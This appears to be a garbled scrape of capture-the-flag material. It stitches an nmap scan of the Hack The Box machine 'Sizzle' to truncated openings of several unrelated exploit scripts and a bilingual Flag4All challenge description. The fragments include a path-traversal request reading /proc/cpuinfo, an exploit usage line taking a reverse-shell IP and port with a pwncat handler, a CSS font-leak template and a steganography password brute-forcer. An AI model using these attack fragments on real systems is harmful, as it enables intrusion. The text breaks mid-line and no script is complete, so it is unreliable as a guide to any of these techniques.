kali@kali:/home/kali/Desktop/HTB/box/Sizzle $ nmap -p- -v -sVC -oA nmap/full 10.10.10.103
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|_ SYST: Windows_NT
53/tcp open domain Simple DNS Plus| #!/usr/bin/env python3 | |
| import requests | |
| import string | |
| import random | |
| import sys | |
| from urllib3.util import SKIP_HEADER | |
| from collections import OrderedDict | |
| import subprocess | |
| from threading import Thread | |
| import socket |
| #!/usr/bin/env python3 | |
| import sys, threading, requests | |
| URL = f'http://pokatdex-api-v1.pokatmon-app.htb/admin/content/assets/add/hereadd' | |
| cookie = {'SESSA0': 'a'} | |
| # find nginx worker processes | |
| r = requests.post(URL, data={'debug':1, 'region':'../../../../../proc/cpuinfo'}, cookies=cookie) | |
| cpus = r.text.count('processor') |
| #!/usr/bin/env python3 | |
| import requests | |
| import os | |
| import subprocess | |
| import asyncio | |
| import threading | |
| import netifaces | |
| import smtpd | |
| import asyncore |
| #!/usr/bin/env python3 | |
| """Rusta Rhymes - Flag4All - Exploit | |
| Usage: | |
| exploit.py <url> <revshell_ip> <revshell_port> [--handler] | |
| Options: | |
| -h --help Show this screen. | |
| --handler Automaticly setup a pwncat-cs handler on defined port |
Ce serveur écoute sur 2 ports ! 443 et 222. Trouvez un moyen d'obtenir le flag.
This server listen on two ports: 443 and 222. Find a way to get the flag.
https://gishadb.flag4all.sh
Auteur : Penthium2 (BZHack)
| #!/usr/bin/env python3 | |
| import json | |
| import os | |
| import sys | |
| import re | |
| import binascii | |
| from Crypto.Cipher import AES | |
| from Crypto.Util.Padding import pad,unpad | |
| BLOCK_SIZE = 16 |
| charset = string.ascii_uppercase + string.digits | |
| template = """ | |
| @font-face{ | |
| font-family: def; | |
| src: url(/static/fonts/Georgia.ttf); | |
| } | |
| @font-face{ | |
| font-family: poc; | |
| src: url(/static/fonts/GeorgiaBold.ttf); |
| #!/usr/bin/env python3 | |
| import subprocess | |
| import threading | |
| import sys | |
| compressed = True | |
| def try_password(threads_i, i, password, steg_file): | |
| try: | |
| print(' '*74+'\r'+f"[{i}] Thread {threads_i} try password : {password}", end='\r') |
| #!/usr/bin/env python3 | |
| from http.server import test, SimpleHTTPRequestHandler, HTTPServer, BaseHTTPRequestHandler | |
| import requests | |
| import argparse | |
| from colorama import init as colorama_init | |
| from colorama import Fore | |
| from colorama import Style | |
| import base64 | |
| import random | |
| import string |